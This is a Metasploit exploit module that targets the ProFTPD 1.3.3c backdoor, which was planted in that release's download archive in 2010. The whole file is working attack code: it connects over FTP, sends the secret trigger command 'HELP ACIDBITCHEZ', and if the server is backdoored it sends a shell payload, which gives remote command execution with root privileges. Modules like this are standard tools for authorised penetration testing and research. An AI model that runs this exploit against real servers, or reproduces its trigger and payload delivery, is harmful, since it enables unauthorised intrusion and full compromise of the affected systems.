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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::Ftp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'ProFTPD-1.3.3c Backdoor Command Execution',
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        'Description' => %q{
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          This module exploits a malicious backdoor that was added to the
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          ProFTPD download archive. This backdoor was present in the proftpd-1.3.3c.tar.[bz2|gz]
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          archive between November 28th 2010 and 2nd December 2010.
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        },
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        'Author' => [ 'MC', 'darkharper2' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'OSVDB', '69562'],
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          [ 'BID', '45150' ]
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        ],
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        'Privileged' => true,
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        'Platform' => [ 'unix' ],
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        'Arch' => ARCH_CMD,
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        'Payload' => {
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          'Space' => 2000,
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          'BadChars' => '',
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          'DisableNops' => true,
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          'Compat' =>
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                        {
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                          'PayloadType' => 'cmd',
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                          'RequiredCmd' => 'generic perl telnet',
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                        }
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        },
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        'Targets' => [
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          [ 'Automatic', {} ],
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        ],
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        'DisclosureDate' => '2010-12-02',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    deregister_options('FTPUSER', 'FTPPASS')
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  end
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  def exploit
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    connect
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    print_status("Sending Backdoor Command")
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    sock.put("HELP ACIDBITCHEZ\r\n")
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    res = sock.get_once(-1, 10)
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    if (res and res =~ /502/)
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      print_error("Not backdoored")
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    else
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      sock.put("nohup " + payload.encoded + " >/dev/null 2>&1\n")
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      handler
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    end
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    disconnect
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  end
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end
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